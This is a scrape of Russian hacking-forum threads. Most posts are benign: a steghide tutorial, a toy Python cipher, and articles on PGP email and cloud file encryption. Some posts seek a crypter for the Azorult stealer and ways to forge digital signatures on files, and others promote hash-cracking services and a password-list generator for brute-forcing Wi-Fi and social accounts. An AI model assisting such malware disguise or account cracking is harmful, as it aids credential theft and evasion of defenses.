Replies: 8 Views: 3K

Crypter Azorult подскажите

есть невалидная цифровая подпись?
ID: 676536fbb4103b69df3738c5
Thread ID: 33922
Created: 2019-12-18T22:57:13+0000
Last Post: 2019-12-19T12:10:32+0000
Author: ColorS
Replies: 2 Views: 3K

короче, необходимо свистнуть цифровую подпись с ехе на doc возможно ли это, и существуют ли альтернативы signthief, и crb copy только что работает с документами или прийдется делать самописную цп? короче кто знает что можно пошаманить

Online hash crack
ID: 676536fbb4103b69df3738cc
Thread ID: 30739
Created: 2019-07-30T14:33:22+0000
Last Post: 2019-11-07T22:58:50+0000
Author: Dkey
Replies: 5 Views: 3K

Всем добра, давайте накидаем толковых сервисов пусть даже платных.
Начну с этих :
www.onlinehashcrack.com

![xsrc.ru](/proxy.php?image=https%3A%2F%2Fxsrc.ru%2Fimages%2Fwifi- hack.jpg&hash=7442803a977f0c17bf8a1a1f6082d3b5&return_error=1)

Восстановление паролей от Wi-Fi из хендшейка

Данный сайт является сервисом автоматической и полуавтоматической расшифровки хендшейков

xsrc.ru xsrc.ru

оба выручали неоднократно, но не так часто как хотелось бы )

Стеганография на примере Steghide
ID: 676536fbb4103b69df3738cd
Thread ID: 32954
Created: 2019-11-03T19:31:48+0000
Last Post: 2019-11-07T16:02:16+0000
Author: ordinaria1
Prefix: Статья
Replies: 1 Views: 3K

Стеганография является одним из способом скрыть сообщение.
В отличии от криптографии, стеганография скрывает факт передачи зашифрованного сообщения. Тоесть вместо "shauaj87#-@+ii " вы получите просто картинку с котиком, или аудиофайл с обычной песней и так далее.
Пример сокрытия сообщения ещё был в Древней Греции, где люди использовали древесину, на которой выцарапывали сообщение, а потом обливали её воском для того что бы не было видно послания. После этого получатель брал эту древесину, растапливал воск и читал сообщение.

IMG_20190902_011941_437.jpg

Одним из инструментов, который я когда либо использовал, является Steghide. Простой в использовании и возможность напрямую загружать на хранилище SourceForge (steghide.sourceforge.net).

Steghide

С чего начать? Для начала нам нужно изображение и текстовый файл с посланием. Для примера я возьму cat.jpg и text.txt.

~$ steghide embed -cf cat.jpg -ef text.txt

embed — опция что бы скрыть сообщение.
-cf — указать файл, в котором будет скрыто сообщение.
ef — файл с самим сообщением.

Затем программа попросит ввести ключ (пароль) которым вы зашифруете послание.

Либо, вы пишите ключ сразу в команде таким образом:

~$ steghide embed -cf pass1234 cat.jpg -ef text.txt

После того, как мы вставили наше послание в картинку, давайте попробуем его извлечь из этой самой картинки.

~$ steghide extract -sf cat.jpg

extract — извлечь текст из сообщения.
-sf — откуда извлекать текст.

Для выбора другого шифрования (по дефолту это AES-128) введите;
~$ steghide encinfo
а потом в самой команде скрытия;
~$ steghide embed -e cast-256 -cf capybara.jpg -ef textoboboca.txt

Если для кого то это сложно, используем этот способ предоставленный ниже!

Это легкий способ, потому что текст не шифруется и вставляется в само изображение, но кто вообразит, что там есть скрытое послание?

~$ echo "текст" >> cat.jpg
~$ cat.jpg cat

Steghide является программой для стеганографии, которая способна скрыть сообщение в различных форматах изображений и аудио-файлов.
Особенности заключаются в сжатии и шифровании вложенных данных, автоматической проверки целостности с помощью контрольной суммы. Поддержка форматов JPG, PNG, BMP, WAV, MP3, OGG.

Подробнее про стеганографию на Wikipedia:

[ Стеганография — Википедия

](https://ru.m.wikipedia.org/wiki/Стеганография)

ru.m.wikipedia.org ru.m.wikipedia.org

Источник статьи:

http://uotx5vek337lvywdnfbxo5fbkd3w2i3wkyxucvg3qx7essegvecgkrid.onion/

Переводил: я
Надеюсь статья получилась интересной... пишите свои мысли по поводу этого...

Миллионы паролей за секунды
ID: 676536fbb4103b69df3738d5
Thread ID: 29792
Created: 2019-06-14T15:11:09+0000
Last Post: 2019-10-14T17:47:34+0000
Author: V1rtualGh0st
Prefix: Статья
Replies: 4 Views: 3K

Привет хацкер, сегодня расскажу как сгенерировать ~ 3 000 000 паролей за несколько секунд.

Поехали!
(ссылка на скрипт будет в конце)
О скрипте.
Сам скрипт написан на питоне, соответсвено нужно установить питон (версия желательно 3.6) , проект опенсоурс
(сейчас бы проекты без сурсов на гите:D)
Скрипт был немного с багами, но был поправлен, ещё перевёл скрипт на русский язык для удобства.

Изучаем
Запускаем скрипт и видим следующее:

Далее нам нужно указывать данные, их можно указывать на любом языке (думаю мало кто делает пароли на русском, но сделать генерацию 2 раза не составит труда)
Если какие-то данные вы не знаете, то можно скипнуть нажав на enter. Чем больше данных указали, тем лучше будут пароли, но генерация будет длиться немного дольше. Пример заполнения данных:

Все совпадения случайны.

Click to expand...

Далее идёт генерация:

А затем они записываются в txt файл:

На данном этапе скрипт можно приостановить. Пароли сохраняются рядом со скриптом. Пример вывода:

Посмотрим количество строк в файле, я разбил кол-во паролей по 100 000:

Итог: 774 639 паролей, учитывая, что я оффнул скрипт после пары секунд работы.
Если не выключать - будет ~ 3 000 000.
Для чего это нужно?
Способов применения в основном для брута, начиная от Wi-Fi, заканчивая учётками от соц.сетей (к примеру).
Скачать скрипт (доработанный + рус.язык) - LINK
Оригинальный скрипт (тоже доработанный, но на eng языке) - LINK

Spoiler: NCT0ЧНNK

Dark $ide

Простое шифрование текста
ID: 676536fbb4103b69df3738dc
Thread ID: 30423
Created: 2019-07-15T11:33:03+0000
Last Post: 2019-09-09T11:31:43+0000
Author: tabac
Replies: 4 Views: 3K

Захотелось сделать очень простое криптографическое приложение для текста, вдруг будет такая необходимость. Смысл в том что шифрование происходит случайными числами от заданных bit , второе значение rand задает количество ключей для каждого символа, чтобы он не повторялся и нельзя было найти закономерность текста. Сам ключ храниться в .json поэтому отправить, посмотреть, редактировать его просто.

Как это работает ?

  1. Создать ключ.
  2. Поделиться ключом.
  3. Написать текст в окно «Закодировать» нажать на кнопку.
  4. Отправить текст из окна «Декодировать».

Из за особенности tkinter он отвечает неlist а обычным str и поэтому каждый отступ в окне «Декодировать» важен.

Создание ключа

Code:Copy to clipboard

bit = input()
rand = input()
l = {}
a = list('б','у','к','в','ы')

for x in a:
    l[x]=[]
    for y in range(rand):
        l[x].append(random.getrandbits(bit))
print(l)

Кодировать текст

Code:Copy to clipboard

slo = input()
red =dict(созданный словарь с ключом)
v = []
for x in slo:
    if x in red:
        v.append(random.choice(red[x]))
print(v)

Декодировать

Code:Copy to clipboard

list_code = input()
red = dict(созданный словарь с ключом)
v = {}

for x in red.items():
    for z in list_code:
        if z in x[1]:
            v[z]=x[0]

zx = []
for x in  list_code:
    if x in v:
        zx.append(v[x])

Github

github.com

[ GitHub - denisxab/SHISH: Encrypt text

](https://github.com/denisxab/SHISH)

Encrypt text. Contribute to denisxab/SHISH development by creating an account on GitHub.

github.com github.com

Теория и практика шифрования почты
ID: 676536fbb4103b69df3738e5
Thread ID: 29999
Created: 2019-06-26T21:24:35+0000
Last Post: 2019-06-26T21:24:35+0000
Author: tabac
Replies: 0 Views: 3K

Защита электронной почты
Существует куча сайтов и сервисов, клятвенно обещающих оберегать приватность своих пользователей от любых поползновений. Правда, зачастую — только на словах. Например, сервис защищенной почты ProtonMail уже неоднократно обвиняли в том, что он помогает правоохранителям и сливает информацию о своих пользователях в чужие руки (первый раз — в 2018 году, второй — совсем недавно). Руководство почтовика всякий раз находило себе оправдания, но дыма без огня, как говорится, не бывает. Значит, о приватности и анонимности нужно побеспокоиться самому, не полагаясь на чужих дяденек и тетенек. Что для этого нужно? А вот прямо сейчас и разберемся.

Как всегда, в этой заметке будет необходимая часть теории, а после я расскажу о некоторых приложениях и объясню, для чего они нужны и как ими пользоваться. Если, конечно, ты не помрешь от тоски, изучая первую часть опуса. Погнали?

(Не)скучная теория

Даже маленький ребенок, только выйдя из пеленок, уже прекрасно осведомлен о том, что винда с точки зрения надежности хранения персональных данных напоминает решето. Поэтому, если у тебя нет возможности навсегда избавиться от этого поделия программистов из Редмонда (иначе на чем мы будем запускать любимые игрушки?), систему нужно правильно настроить, навсегда отбив ей охоту передавать что попало куда не надо. Грамотная настройка Windows — тема отдельного разговора, и к ней мы когда-нибудь обязательно вернемся, а сейчас речь о другом.

После того как мы установим безопасную ОС, которая не рассказывает своим создателям о каждом нашем шаге, нужно задуматься о связи с внешним миром. Самый древний и распространенный способ такой связи после голубиной почты — почта электронная. Обойтись без нее непросто: было бы, конечно, неплохо, если бы всевозможные роботы отсылали нам подтверждения о регистрации куда-нибудь в запрещенный телеграмчик, но они почему-то предпочитают делать это «мылом», будто в каменном веке.

Нужно понимать, что если сервер электронной почты не принадлежит тебе лично, не стоит на твоих антресолях рядом с бабушкиными калошами и коробкой дедушкиных таблеток от метеоризма и на нем ко всему прочему не крутится ПО с открытыми исходниками, то нет никакой гарантии, что твою переписку не читает товарищ майор или не фильтрует по ключевым словам специально обученный робот. При том что заявления компании — владельца сервака о ее честности, белизне и пушистости ты при всем желании никак не сможешь проверить.

Даже если почтовый сервис шифрует твои данные на лету прямо в браузере, алгоритм шифрования все равно загружается с сервера. Как ты проверишь корректность этого самого алгоритма всякий раз, когда отправляешь письмо? Вывод: кому бы почтовый сервис ни принадлежал, безусловно доверять ему свои письма мы не можем. Из этого следует, что обязанность шифровать письма лежит на нас самих.

Требование к любому приложению, которое оперирует твоими данными или отвечает за их защиту, всегда одно: исходный код этого приложения должен быть открыт. Это тот необходимый минимум, который может обеспечить защиту от закладок и недокументированных возможностей. Все приложения и плагины, представленные в статье, обладают открытым исходным кодом.

Можно отправлять-получать почту через веб-интерфейс, но в этом случае ты лишаешься удовольствия использовать проверенные сторонние плагины с открытым исходным кодом, предназначенные для обеспечения приватности. Поэтому наш выбор — почтовый клиент.

Я рекомендую установить, например, Thunderbird. Во-первых, это название ни один товарищ майор не выговорит без ошибок с первого раза, а во-вторых, софтина поддерживается сообществом и позволяет устанавливать расширения. Для шифрования переписки можно воспользоваться плагином Enigmail, который активно разрабатывается по сей день и регулярно обновляется.

Кроме того, нам понадобятся специальные приложения, которые реализуют шифрование, — это GnuPG для *nix или Pgp4Win для Windows. После этого будет необходимо создать пару закрытый — открытый ключ и не забывать подписывать свои письма электронной подписью, чтобы получатель точно знал, что письмо пришло именно от тебя. Звучит сложно? На самом деле все гораздо проще, чем кажется.

Даже с учетом шифрования почтовый сервер все равно будет знать, откуда ты к нему подключился, сможет определить время подключения, действия с письмами (удаление, создание, пересылка) и адрес, на который было отправлено письмо. Но прочитать информацию из письма сможет только получатель. И не забывай: заголовок с темой письма по умолчанию не зашифрован, так что выбирай тему осмотрительно, чтобы ненароком не спалиться.

Установка и настройка необходимого инструментария

С установкой почтового клиента Thunderbird у тебя точно не должно возникнуть проблем — по слухам, однажды с этой архисложной задачей справилась даже шимпанзе из рязанского зоопарка. Далее поставим Pgp4Win, только убедись, что на экране «Компоненты устанавливаемой программы» есть все нужные галочки!

![Сначала устанавливаем Pgp4Win](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F1.jpg&hash=ef0beef4d4d96e74f8cbf1549885ce2e)
Сначала устанавливаем Pgp4Win

![Не забудь выбрать все компоненты во время установки](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F2.jpg&hash=4c66aeabfcd205eba8332dd9d448698d)
Не забудь выбрать все компоненты во время установки

После этого запускаем Thunderbird и настраиваем в клиенте доступ к своему почтовому ящику (документации по настройке Thunderbird в интернете навалом). Следующим этапом устанавливаем плагин Enigmail.

![Устанавливаем Enigmail](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F3.jpg&hash=bb6cfdf7f954670797bd06aa25e00602)
Устанавливаем Enigmail

Закончив эти танцевальные номера с бубном, создаем ключевую пару (открытый и закрытый ключ) и сертификат отзыва ключа. Этот сертификат потребуется, если ты однажды потеряешь ~~по пьяни~~ по какой-то причине секретный ключ и тебе потребуется отозвать загруженный на сервер открытый ключ.

Итак, чтобы создать ключевую пару, перейдем в меню «Enigmail → Менеджер ключей». После этого нужно выбрать пункт «Новая пара ключей» в меню «Создать». В открывшемся окне отобразятся настройки создаваемой ключевой пары, поле для ввода парольной фразы и выбор алгоритмов шифрования во вкладке «Дополнительно». Программа предлагает выбрать один из двух криптографических алгоритмов — ECC и RSA.

![Настройка создаваемой ключевой пары](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F7.jpg&hash=172e3fe6189e20710e817b240cc8ec44)
Настройка создаваемой ключевой пары

Выбор между ECC и RSA

Давай разберемся, чем эти алгоритмы отличаются друг от друга и какой из них лучше выбрать.

RSA (аббревиатура от фамилий создателей — Rivest, Shamir и Adleman) — асимметричный криптографический алгоритм, основанный на сложности задачи факторизации (разложения) больших целых чисел. Это была заумная цитата из Википедии. А если попроще, то достаточно сказать, что этот алгоритм старый, как Pentium 4, но такой же надежный и проверенный временем. Он используется повсеместно в самых разных приложениях и защищенных протоколах.

Существует его более новый и, как считается, прогрессивный аналог — алгоритм ECC (Elliptic Curve Cryptography). Та же Википедия говорит нам, что этот асимметричный алгоритм «опирается на эллиптические кривые над конечными полями». Что это означает, при желании прочтешь там же. А нам важно вот что: для обеспечения одинаковой степени криптостойкости алгоритму RSA требуются ключи длиной 4096 бит, а алгоритму ECC — всего от 256 до 384 бит. А если взять ECC с длиной ключа 521 бит, то по криптостойкости он будет эквивалентен RSA с длиной ключа 15 360 бит!

Из этого следует, что шифрование с применением ECC будет быстрее и менее энергозатратно, что не может не радовать, если ты используешь мобильные устройства. С другой стороны, с RSA мы пользуемся проверенным временем (и массой математиков) криптографическим алгоритмом, который имеет к тому же некоторый «запас прочности» перед наступлением эпохи квантовых компьютеров.

Пароль — это важно!
Несмотря на стойкость криптоалгоритмов, необходимо уделить внимание выбору качественного пароля для шифрования. Если пароль будет недостаточно стойким, то расшифровать твою переписку не составит большого труда, какие бы крутые криптоалгоритмы ты ни использовал.

Не забывай: пароль не должен быть коротким — нужно использовать не менее 12–15 символов. Пароль не должен быть любым словарным словом, должен иметь цифры и буквы обоих регистров~~, вступление, заключение, развитие драматического сюжета и список использованной литературы в конце~~.
В основном работает правило: чем легче запомнить пароль тебе самому, тем проще его будет подобрать злоумышленнику. Поэтому можно просто пару раз хорошенько стукнуться лбом о клавиатуру, а потом выучить получившуюся псевдослучайную последовательность символов. Главное — никогда не придумывать и не менять пароли после шумной вечеринки. Однажды нарушив это правило, ты поймешь почему.
После успешного создания ключевой пары программа предложит тебе создать сертификат отзыва. Я рекомендую сделать это на всякий случай.

![Создаем сертификат отзыва](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F8.jpg&hash=fb744db899eaf1864d7ef818b88dd135)
Создаем сертификат отзыва

Теперь все готово. Если кто-то захочет зашифровать переписку с тобой, ему понадобится открытый ключ. Передать его собеседнику можно любым способом — ведь если открытый ключ перехватят, то все равно не будет никакой возможности расшифровать переписку. Но все-таки я рекомендую загрузить открытый ключ на специальный сервер — сервер ключей. Оттуда любой человек может забрать твой открытый ключ, например выполнив поиск по почтовому адресу. Чтобы загрузить ключ на сервер, в оснастке «Управление ключами» в меню программы нужно выбрать пункт «Разместить открытые ключи на сервере ключей».

![Размещаем открытый ключ на сервере ключей](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F5.jpg&hash=8349f0fa2b80b280543edb687ab82c6d)
Размещаем открытый ключ на сервере ключей

После этого ключ автоматически загрузится на сервер.

![Загрузка ключа на сервер](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F6.jpg&hash=9a09788fdb70543d97b94d78a8e2b316)
Загрузка ключа на сервер

Теперь давай посмотрим на практике, что представляет собой шифрование почты асимметричной криптографией. Мы создадим и отправим сами себе зашифрованное сообщение и посмотрим, как оно выглядит с плагином Enigmail и без него — как если бы мы перехватили чье-то сообщение. У нас уже все настроено, нам просто нужно создать письмо обычным способом, не забыв нажать на кнопки «Зашифровать» и «Подписать».

![Создаем первое зашифрованное письмо](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F9.jpg&hash=7695a6ef6a3414f5f7b83a504fb3f64a)
Создаем первое зашифрованное письмо

Полученное сообщение будет выглядеть как на картинке ниже.

![Получили письмо!](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F10.jpg&hash=7f2a0d90f007175eccf194511a6be194)
Получили письмо!

Здесь видно, что сообщение расшифровано и его подпись проверена, о чем нам и сообщает Enigmail.

А что, если мы не знаем секретного ключа и просто перехватили это сообщение, например на почтовом сервере? Как оно будет выглядеть в этом случае, ты можешь посмотреть на следующей картинке.

![Так выглядит шифротекст нашего письма](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F11.jpg&hash=6a695547dbd583a329c3687ebbc0ac63)
Так выглядит шифротекст нашего письма

Как видишь, у того, кто перехватит нашу почту, будут большие проблемы с ее чтением.

Плагин Mailvelope

Что, если по какой-то причине ты не захочешь ставить почтовый клиент, но все же решишь защитить свою переписку? Есть выход: расширение для браузера под названием Mailvelope. Оно имеет открытый исходный код, поддерживается всеми современными браузерами и не требует для работы никаких сторонних приложений. Но если ты установишь на компьютер Pgp4Win, то у тебя появится возможность выбора, какой движок использовать — GnuPG или OpenPGP.js. В последнем реализовано шифрование PGP на языке JavaScript.

Чтобы начать пользоваться шифрованием почты при помощи Mailvelope, нужно будет еще сгенерировать ключевую пару и отправить открытый ключ на сервер ключей — в настройках Mailvelope это можно сделать установкой нужной галочки.

![Управление ключами в Mailvelope](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F12.jpg&hash=a84be97ebe2425c8889c372d7fb511e4)
Управление ключами в Mailvelope

Сгенерированная ключевая пара появится во вкладке «Управление ключами».

![Созданная ключевая пара](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F13.jpg&hash=760e2313a98e2f06ece7d2c3856542cc)
Созданная ключевая пара

Кроме того, есть возможность импорта и экспорта готовых ключевых пар. Еще расширение умеет шифровать передаваемые вложения и отдельные файлы, в нем есть возможность добавлять электронную подпись. Теперь, если ты зайдешь в свой почтовый ящик через веб-интерфейс и попытаешься написать кому-то письмо, в форме ввода письма появится новая кнопка, запускающая Mailvelope.

![Создаем сообщение через веб- интерфейс](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F14.jpg&hash=996b3c3a3d0828bc2be5bf0c3fddc3c3)
Создаем сообщение через веб-интерфейс

Если кликнуть по этой кнопке, откроется окно ввода сообщения. Когда письмо будет написано, необходимо нажать на кнопку «Зашифровать».

![Интерфейс Mailvelope](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F15.jpg&hash=b2c6def93ec7029884f471d25a36284a)
Интерфейс Mailvelope

Зашифрованное сообщение будет автоматически скопировано в веб-интерфейс почтового сервера.

![Вставили шифротекст в интерфейс почтового сервера](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F16.jpg&hash=e030dcd8bf80d5f1ab8fb582d09a247e)
Вставили шифротекст в интерфейс почтового сервера

Если расширение активно, сообщение дешифруется и электронная подпись проверяется автоматически, нужно будет только ввести свой пароль.

![Приняли зашифрованное сообщение](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F06%2F227194%2F17.jpg&hash=5a78d87560b703103998ad4f93297773)
Приняли зашифрованное сообщение

Шифрование почты на Android

Если у тебя смартфон с Android, обрати внимание на приложение OpenKeychain, которое поможет в шифровании сообщений в твоем телефоне. В качестве почтового клиента для Android можно использовать K-9 Mail — это известный почтовый клиент с открытым исходным кодом, а принцип генерации ключевых пар там точно такой же, как и на десктопе.

Заключение

Теперь ты знаешь, как обеспечить передачу конфиденциальной информации через недоверенную сеть — интернет, где каждый, начиная провайдером и заканчивая администратором почтового сервера, может перехватить и прочитать твои электронные сообщения и выведать все тайны.

При помощи асимметричной криптографии можно безопасно передавать, например, ключи для расшифровки криптоконтейнеров, которые ты оставил на каком-нибудь файлообменнике, да и любые другие непубличные данные.

Автор: @xtahi0nix (Nik Zerof)
хакер.ру

Шифрование файлов перед их загрузкой в облако
ID: 676536fbb4103b69df3738e6
Thread ID: 28033
Created: 2019-02-25T20:18:49+0000
Last Post: 2019-06-05T19:22:23+0000
Author: tabac
Replies: 1 Views: 3K

Большинство провайдеров облачных хранилищ и облачных резервных копий, таких как Google Drive, Dropbox, Box и Microsoft OneDrive, предлагают определенный уровень шифрования, существенно шифруя содержимое загруженных вами файлов. Для расшифровки их требуется ключ шифрования. Большинство провайдеров облачных хранилищ сохраняют ключ шифрования от имени пользователя, что требует от него слепого доверия к тому, что компания не будет злоупотреблять доступом к вашим файлам , не допустит утечки ключа хакерам или не передаст его правительственным органам. Кроме того, любой пользователь, имеющий физический доступ к вашему телефону или ноутбуку, может легко получить доступ к файлам в облаке, поскольку большинство этих служб оставляют вас в системе по умолчанию.

Некоторые компании, предоставляющие возможность сохранять резервные копии в облаке, такие как iDrive, позволяют пользователю создавать собственный закрытый ключ, шифруя данные на своем локальном компьютере перед загрузкой в облако. Но это обычно резервируется для более дорогого облачного резервного копирования бизнес-уровня, а не для отдельного среднестатистического пользователя. В настоящее время iDrive предлагает 75% скидку на свой план размером в 2 ТБ, что делает его гораздо более доступным вариантом для всех.

Если конфиденциальность данных вызывает у вас серьезную обеспокоенность, но вы не хотите тратить деньги на довольно таки дорогостоящий план резервного копирования или хранения, у нас есть альтернативное решение. Несколько приложений позволяют вам зашифровать ваши данные перед их загрузкой в облако, гарантируя, что только вы сможете расшифровать ваши файлы. Любой может воспользоваться этими приложениями, но данный список, в основном рассчитан на бухгалтеров, юристов, врачей и другие профессии, которые требуют высокого уровня конфиденциальности.

Мы собрали список таких приложений для шифрования, чтобы вы смогли с ними ознакомиться. Найдите тот, который наилучшим образом соответствует вашим потребностям, но имейте в виду, что **если вы потеряете свой личный ключ шифрования, эти данные будут потеряны для вас навсегда.

nCrypted Cloud**

nCrypted Cloud перемещает ваши Google Диски, Dropbox и другие поддерживаемые папки облачного провайдера в папку nCrypted Cloud. Он не шифрует все по умолчанию; Вы должны щелкнуть правой кнопкой мыши по файлам в этих папках, чтобы зашифровать и расшифровать их. Синий значок замка рядом со значком файла или папки указывает на то, что он был закрыт и теперь зашифрован с использованием стандартного 256-разрядного AES стандарта.

Помимо шифрования nCrypted Cloud добавляет частные функции обмена файлами и водяные знаки. Водяной знак особенно полезен для тех, кто хочет поделиться документом или фотографией, но не хочет, чтобы он был использован «пиратами».

Он также имеет облачный портал, к которому можно получить доступ из любого браузера, что позволяет вам получить доступ ко всем вашим облачным данным из одного места. Портал содержит подробные журналы о том, кто какие данные получал, ревизии и историю шифрования. Вы даже можете установить его, чтобы отправлять вам уведомления о конкретных событиях.

nCrypted Cloud поддерживает несколько поставщиков облачных хранилищ. В настоящее время он совместим с Dropbox, Google Drive, Box и Egnyte.

nCrypted Cloud доступен бесплатно для Windows, Mac, iOS и Android. Также доступны бизнес-уровни за ежемесячную плату.

Encrypto

![](/proxy.php?image=https%3A%2F%2Fcdn.comparitech.com%2Fwp- content%2Fuploads%2F2015%2F11%2Fencrypto-1024x445.jpg&hash=433627c244bf0df3acaef22cd3f8c02c)

Основными задачами Encrypto являются отправка и обмен зашифрованными файлами, но он также работает для шифрования локального и облачного хранилища. Просто перетащите любой файл в окно приложения, установите пароль и добавьте дополнительную подсказку о пароле, ответ на которую будете знать только вы и получатель. Затем файл зашифровывается и может быть сохранен на вашем компьютере и/или отправлен по электронной почте, Dropbox или даже сохранен на USB-накопителе. Encrypto использует 256-битное шифрование AES. И отправитель, и получатель должны иметь установленный Encrypto для работы с файлами.

Encrypto доступен бесплатно для Windows и Mac OSX.

Boxcryptor

![](/proxy.php?image=https%3A%2F%2Fcdn.comparitech.com%2Fwp- content%2Fuploads%2F2015%2F11%2Fboxcryptor-1024x556.jpg&hash=7881870c6269aef93b647f640885ba71)

Boxcryptor позволяет вам создать папку в любом месте на вашем компьютере, и все, что находится в этой папке, будет зашифровано с использованием 256-битного стандарта AES. Чтобы просмотреть файлы в этой папке, запустите приложение Boxcryptor, перейдите к нужному файлу и введите свой пароль/ключ. Если вы используете службу облачного хранения, такую как Google Drive или Dropbox, эту папку можно поместить в папку синхронизации соответствующего приложения.

Содержимое файла скрыто, но имена файлов и расширения все еще видны.

Недостатком подхода Boxcryptor – и, на самом деле, большинства приложений в этом списке - является то, что файлы не могут быть предварительно просмотрены или открыты, скажем, в Google Docs. Если вы хотите просмотреть их на другом компьютере или смартфоне, вам нужно установить Boxcryptor и загрузить файлы, чтобы просмотреть их локально.

Boxcryptor доступен бесплатно для Windows, Mac, Android, iOS и Windows RT.

Cryptomator

![](/proxy.php?image=https%3A%2F%2Fcdn.comparitech.com%2Fwp- content%2Fuploads%2F2015%2F11%2Fcryptomator-1024x363.jpg&hash=24fccfb21c96cb00c77ddcccf40adcaf)

Cryptomator хранит файлы в зашифрованной папке хранилища где-то на вашем компьютере. Доступ к этим файлам обычно осуществляется через виртуальный жесткий диск, поэтому вы не заметите никакой разницы при работе с файлами, которая происходит, как на USB-накопителе. Все файлы индивидуально зашифрованы.

Вы можете создавать хранилища в любом месте на вашем компьютере, например, на вашем Google Диске или в папке Dropbox. Затем просто перетащите файлы в хранилище, чтобы зашифровать их. Для разблокировки хранилища требуется пароль. Файлы зашифрованы с помощью AES, а пароли защищены с помощью Scrypt.

Cryptomator - это бесплатное (или же, вы можете заплатить, сколько пожелаете) приложение с открытым исходным кодом для Windows, MacOS, iOS и Android. Регистрация не требуется.

Sookasa

![](/proxy.php?image=https%3A%2F%2Fcdn.comparitech.com%2Fwp- content%2Fuploads%2F2015%2F11%2Fsookasa-1024x465.jpg&hash=7e8c037c537e279856cc7259ad31e077)

Sookasa работает очень похоже на BoxCryptor, но она ограничивается Google Drive и Dropbox. Специальная папка Sookasa создается внутри вашей папки синхронизации Drive или Dropbox, и все, что находится внутри этой папки, шифруется с использованием 256-битного AES. Чтобы просмотреть файл, вы должны загрузить и расшифровать его локально с помощью приложения Sookasa.

Sookasa позволяет пользователям обмениваться файлами и папками простым щелчком правой кнопки мыши. Установите пароль, управляйте разрешениями в режиме реального времени и установите срок действия ключей шифрования. Совместное использование через безопасные ссылки также присутствует.

Sookasa доступна бесплатно для Windows, Mac, Android и iOS.

EncFSMP

EncFSMP, пожалуй, самый минималистический инструмент в этом списке. Он использует большую часть того же открытого кода, что и BoxCryptor, и работает аналогичным образом. Создайте зашифрованную папку в любом месте на вашем локальном диске, и все, что вы положите в эту папку, будет автоматически зашифровано. Вы можете создавать, редактировать и экспортировать пароли для этих папок.

EncFSMP гарантирует, что у вас не возникнет никаких проблем и вам не понадобится никаких дополнительных загрузок и также является абсолютно бесплатным. Он не имеет каких-либо дополнительных функций для обмена или управления файлами.

Пользователи Linux будут рады узнать, что EncFSMP совместим со своими системами, а также с Windows и Mac. Устройства Android могут использовать EncFSMP через приложение Cryptonite (обновление : Cryptonite больше не доступно в Google Play, но вы можете скачать его из GitHub), но, к сожалению, на iOS приложение не поддерживается.

Odrive

![](/proxy.php?image=https%3A%2F%2Fcdn.comparitech.com%2Fwp- content%2Fuploads%2F2015%2F11%2Fodrive-1024x309.jpg&hash=4d3303bdb329236333e1eb8a9e134965)

Odrive - это инструмент для настольных компьютеров и веб-приложений, который позволяет связать все ваши учетные записи в облачном хранилище. Вы можете поместить зашифрованную папку в любое удобное для вас место, например, в каталоги Google Drive или Dropbox. Любые файлы, помещенные в эти папки, автоматически шифруются с помощью хэшей SHA256.

Файлы шифруются только в облачном хранилище, а не на локальном компьютере. Это означает, что они не защищены на вашем жестком диске.

Odrive также имеет функции синхронизации и совместного использования, которые позволяют использовать облачные файлы как локальные файлы.

Odrive использует политику шифрования «нулевого разглашения», то есть компания не знает и не хранит ваш ключ шифрования. Только пользователь может расшифровать свои файлы.

Бесплатный уровень Odrive доступен в Windows, Mac и Linux.

**Cloudfogger (Более не поддерживается разработчиками)

Обновлено: Cloudfoggerболее не поддерживается разработчиками.**

Cloudfogger позволяет выбирать существующие папки для шифрования вместо того, чтобы заставлять вас создавать новые. Это часто лучший вариант для тех, у кого много файлов, которые необходимо зашифровать, но они не хотят перемещать их. Это также полезно, если вы хотите зашифровать все в вашей папке синхронизации Dropbox или Google Drive.

Cloudfogger гарантирует, что вы можете получить доступ к своим файлам в локальной системе, как вы это делали всегда, без необходимости расшифровки вручную. Он может похвастаться несколькими функциями обмена, включая электронную почту и USB.

Cloudfogger доступен бесплатно на Windows, Mac, iOS и Android.

**Viivo (Более не поддерживается разработчиками)

Обновлено:** PKWARE, Родительская компания Viivo, что поддержка проекта прекращается Viivo****1 Июня 2018 года.

Viivo создает две папки на вашем компьютере. Первая - это, казалось бы, обычная папка, хранящаяся локально, куда вы помещаете файлы. Вторая папка делает копию всего, что находится в первой папке и шифрует его. Вторая папка - это та, которую вы будете загружать в облако. Например, его можно поместить в папку Dropbox или Google Drive. Это позволяет вам легко просматривать, создавать и редактировать файлы, используя локальные незашифрованные версии, и обновлять зашифрованные онлайн-версии без необходимости расшифровывать файлы каждый раз, когда они вам нужны.

Viivo требует регистрации через настольное приложение с использованием действующего адреса электронной почты. Он использует 256-битный стандарт шифрования AES. Viivo также сжимает файлы для экономии места и пропускной способности.

Viivo доступен бесплатно для Windows, Mac, iOS и Android.

